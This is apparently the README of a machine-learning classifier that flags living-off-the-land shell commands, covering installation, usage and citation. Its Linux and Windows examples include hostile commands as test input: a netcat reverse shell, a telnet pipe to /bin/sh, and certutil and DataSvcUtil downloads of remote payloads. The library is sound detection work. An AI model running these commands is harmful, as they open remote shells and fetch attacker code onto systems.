Living of the Land Classifier

This repository contains the source code and pre-trained models for the Living of the Land Classifier, designed by the Security Intelligence (SI) Team of the Security Coordination Center (SCC) @ Adobe.

Quick start guide

If you have experience with python and are eager to get started, check the Quick start Jupyter Notebook, instead of this documentation.

To get the library up and running in no time, use the following tutorial. If you want to build you own model, please refer to the "Advanced usage and documentation" section (below).

Prerequisites

Before you proceed, make sure your system meets the following requirements:

Python 3.7+ installed and running on your system
PIP package installer
We recommend using a virtual environment. See the official documentation for details

Quick installation

The easiest way to get LOL running is to use the pip:

You can use the following command directly on your system or in the virtual environment (recommended):

$ pip install lolc

To test the installation you can use the following scripts or ipython commands, which are also in the Quick start Jupyter Notebook:

LINUX

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['nc -nlvp 1234 & nc -e /bin/bash 10.20.30.40 4321',
          'iptables -t nat -L -n',
          'telnet 10.20.30.40 5000 | /bin/sh | 10.20.30.50 5001']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):
    print(command)
    print(status)
    print(tag)
    print("\n")

The output should be:

nc -nlvp 1234 & nc -e /bin/bash 10.20.30.40 4321
BAD
IP_PRIVATE PATH_/BIN/BASH COMMAND_NC KEYWORD_-NLVP KEYWORD_-E nc_listener_to_shell LOOKS_LIKE_KNOWN_LOL

iptables -t nat -L -n
GOOD
COMMAND_IPTABLES KEYWORD_-T KEYWORD_-L KEYWORD_-N iptables_list

telnet 10.20.30.40 5000 | /bin/sh | 10.20.30.50 5001
BAD
IP_PRIVATE PATH_/BIN/SH COMMAND_TELNET telnet_sh LOOKS_LIKE_KNOWN_LOL

WINDOWS

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.WINDOWS) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\\temp:ttt',
          'explorer.exe c:\\temp',
          'DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://11.11.11.11/xxxxxxxxx?encodedfile']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):
    print(command)
    print(status)
    print(tag)
    print("\n")

The output should be:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
BAD
COMMAND_CERTUTIL.EXE KEYWORD_dash_urlcache KEYWORD_dash_f KEYWORD_http certutil_downloader powershell_file

explorer.exe c:\temp
NEUTRAL
# this line is empty

DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://11.11.11.11/xxxxxxxxx?encodedfile
BAD
IP_PUBLIC COMMAND_DATASVCUTIL DataSvcUtil_http KEYWORD_http

Advanced usage and documentation

This documentation is still under development. We will provide complete examples accompanied by Jupyter Notebooks.

Installation via GitHub (for advanced usage)

git clone git@github.com:adobe/libLOL.git
cd libLOL
virtualenv -p `which python3` venv
source venv/bin/activate
pip3 install -r requirements.txt

Citing

If you are using Living off the Land in any academic work, make sure to cite our paper:

APA

Boros, T., Cotaie, A., Stan, A., Vikramjeet, K., Malik, V., & Davidson, J. (2022). Machine Learning and Feature Engineering for Detecting Living off the Land Attacks. 8th International Conference on Internet of Things, Big Data and Security.

Chicago

Boros, Tiberiu, Andrei Cotaie, Antrei Stan, Kumar Vikramjeet, Vivek Malik, Joseph Davidson. ‘Machine Learning and Feature Engineering for Detecting Living off the Land Attacks’. 8th International Conference on Internet of Things, Big Data and Security, 2022.

BibTeX

 @ARTICLE {borosiotbds2022,
    author  = "Boros,  Tiberiu and Cotaie, Andrei and Stan, Antrei and Vikramjeet, Kumar and Malik, Vivek and Davidson, Joseph",
    title   = "Machine Learning and Feature Engineering for Detecting Living off the Land Attacks",
    journal = "8th International Conference on Internet of Things, Big Data and Security",
    year    = "2022"
}